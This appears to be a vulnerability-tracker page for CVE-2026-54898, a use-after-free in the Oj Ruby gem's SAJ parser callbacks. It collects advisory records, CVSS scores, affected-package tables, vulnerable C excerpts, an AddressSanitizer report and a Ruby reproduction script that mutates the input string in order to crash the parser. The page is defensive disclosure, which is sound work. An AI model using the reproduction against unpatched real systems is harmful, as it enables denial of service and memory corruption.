CVE-2026-54898
Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation
Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2,Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free. This issue has been fixed in version 3.17.2.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
2.1
Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation
Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2,Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free. This issue has been fixed in version 3.17.2.
- Record
CVE-2026-54898- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N - Weakness
- CWE-416
- Updated
- 2026-11-02
EUVDEUVD-2026-40854
2.1
Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2,Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free. This issue has been fixed in version 3.17.2.
- Record
EUVD-2026-40854- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-q2gm-54r6-8fwm
8.7
Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation
Summary
Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free.
Version
- Software: oj gem
- Affected: all versions with
ext/oj/parser.c - Latest tested: 3.17.1 (confirmed present)
Details
ext/oj/parser.c, parser_parse → parse:
static VALUE parser_parse(VALUE self, VALUE json) {
const byte *ptr = (const byte *)StringValuePtr(json); // raw pointer into Ruby string
// ...
parse(p, ptr); // ptr used throughout; any realloc frees the backing buffer
}
// parser.c:607
static void parse(ojParser p, const byte *json) {
const byte *b = json;
// ...
for (; '\0' != *b; b++) { // ← UAF: reads freed memory after callback resizes json
Ruby's String#replace (or <<, gsub!, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that ptr still points to.
ASAN report:
==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81
READ of size 1 at 0x51900008ed81 thread T0
#0 parse /ext/oj/parser.c:607
#1 parser_parse /ext/oj/parser.c:1408
0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f)
freed by thread T0 here:
#0 free
#1 ruby_sized_xfree (libruby-3.3.so.3.3)
Shadow bytes: [fd]fd fd fd fd fd ... (entire region freed)
Reproduce
require 'oj'
class Mutator
def initialize(json) = (@json = json; @done = false)
def hash_start(key)
return if @done; @done = true
@json.replace('x' * 1_000_000) # triggers String realloc, frees original buffer
end
def hash_end(key); end
def array_start(key); end
def array_end(key); end
def add_value(value, key); end
end
json = '{"a":1,"pad":"' + ('A' * 1000) + '","z":2}'
parser = Oj::Parser.new(:saj)
parser.handler = Mutator.new(json)
parser.parse(json)
- Record
GHSA-q2gm-54r6-8fwm- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-416
- Updated
- 2026-11-02
NVD
2.1
Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2,Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free. This issue has been fixed in version 3.17.2.
- Record
CVE-2026-54898- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-416
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-54898
2.1
Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2,Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free. This issue has been fixed in version 3.17.2.
- Record
DEBIAN-CVE-2026-54898- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVGHSA-q2gm-54r6-8fwm
8.7
Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation
Summary
Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free.
Version
- Software: oj gem
- Affected: all versions with
ext/oj/parser.c - Latest tested: 3.17.1 (confirmed present)
Details
ext/oj/parser.c, parser_parse → parse:
static VALUE parser_parse(VALUE self, VALUE json) {
const byte *ptr = (const byte *)StringValuePtr(json); // raw pointer into Ruby string
// ...
parse(p, ptr); // ptr used throughout; any realloc frees the backing buffer
}
// parser.c:607
static void parse(ojParser p, const byte *json) {
const byte *b = json;
// ...
for (; '\0' != *b; b++) { // ← UAF: reads freed memory after callback resizes json
Ruby's String#replace (or <<, gsub!, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that ptr still points to.
ASAN report:
==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81
READ of size 1 at 0x51900008ed81 thread T0
#0 parse /ext/oj/parser.c:607
#1 parser_parse /ext/oj/parser.c:1408
0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f)
freed by thread T0 here:
#0 free
#1 ruby_sized_xfree (libruby-3.3.so.3.3)
Shadow bytes: [fd]fd fd fd fd fd ... (entire region freed)
Reproduce
require 'oj'
class Mutator
def initialize(json) = (@json = json; @done = false)
def hash_start(key)
return if @done; @done = true
@json.replace('x' * 1_000_000) # triggers String realloc, frees original buffer
end
def hash_end(key); end
def array_start(key); end
def array_end(key); end
def add_value(value, key); end
end
json = '{"a":1,"pad":"' + ('A' * 1000) + '","z":2}'
parser = Oj::Parser.new(:saj)
parser.handler = Mutator.new(json)
parser.parse(json)
- Record
GHSA-q2gm-54r6-8fwm- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-416
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-54898
2.1
Oj (Optimized JSON) is a JSON parser and Object marshaller packaged as a Ruby gem. In versions prior to 3.17.2,Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string — for example by calling String#replace with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free. This issue has been fixed in version 3.17.2.
- Record
UBUNTU-CVE-2026-54898- CVSS 4.0
- 2.1 Low
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
ojRubyGems |
before 3.17.2 | 3.17.2 |
ruby-ojDebian:12 |
before 3.14.2-1+deb12u1, plus listed versions 3.14.2-1 |
3.14.2-1+deb12u1 |
ruby-ojDebian:13 |
before 3.16.3-1+deb13u1, plus listed versions 3.16.3-1 |
3.16.3-1+deb13u1 |
ruby-ojDebian:14 |
before 3.17.3-1, plus listed versions 3.16.12-13.16.15-13.16.16-13.16.3-13.17.0-13.17.1-1 |
3.17.3-1 |
ojRubyGems |
before 3.17.3, plus listed versions 0.50.5.10.5.20.6.00.7.0 Show 45 moreShow less0.8.00.9.01.0.01.0.11.0.21.0.31.0.41.0.51.0.61.1.01.1.11.2.01.2.11.2.101.2.111.2.121.2.131.2.21.2.31.2.41.2.51.2.61.2.71.2.81.2.91.3.01.3.21.3.41.3.51.3.61.3.71.4.01.4.11.4.21.4.31.4.41.4.51.4.61.4.6a21.4.72.0.02.0.12.0.102.0.112.0.12 |
3.17.3 |
ruby-ojUbuntu:14.04:LTS |
All versions, plus listed versions 2.0.10-12.1.4-12.4.0-12.5.3-1 |
None known |
ruby-ojUbuntu:16.04:LTS |
All versions, plus listed versions 2.12.10-32.12.10-3build12.12.10-42.12.10-4build1 |
None known |
ruby-ojUbuntu:18.04:LTS |
All versions, plus listed versions 2.17.4-13.4.0-13.4.0-1build1 |
None known |
ruby-ojUbuntu:20.04:LTS |
All versions, plus listed versions 3.8.1-13.9.1-13.9.2-13.10.1-13.10.1-1build1 |
None known |
ruby-ojUbuntu:22.04:LTS |
All versions, plus listed versions 3.11.0-13.13.7-13.13.7-1build13.13.9-13.13.9-1build1 |
None known |
Show 4 moreShow less
| Package | Affected | Fixed |
|---|---|---|
ruby-ojUbuntu:24.04:LTS |
All versions, plus listed versions 3.15.0-13.16.1-13.16.3-13.16.3-1build13.16.3-1build2 |
None known |
ruby-ojUbuntu:25.10 |
All versions, plus listed versions 3.16.3-1build3 |
None known |
ruby-ojUbuntu:26.10 |
All versions, plus listed versions 3.16.15-13.17.0-13.17.1-13.17.3-13.17.4-1 |
None known |
ruby-ojUbuntu:26.04:LTS |
All versions, plus listed versions 3.16.3-1build33.16.12-13.16.15-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-54898 is a low vulnerability (CVSS 2.1) in Ohler55 Oj, published June 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 10th percentile. Fixed in oj 3.17.2.
References
Left out here: 244 versions. The JSON record has them.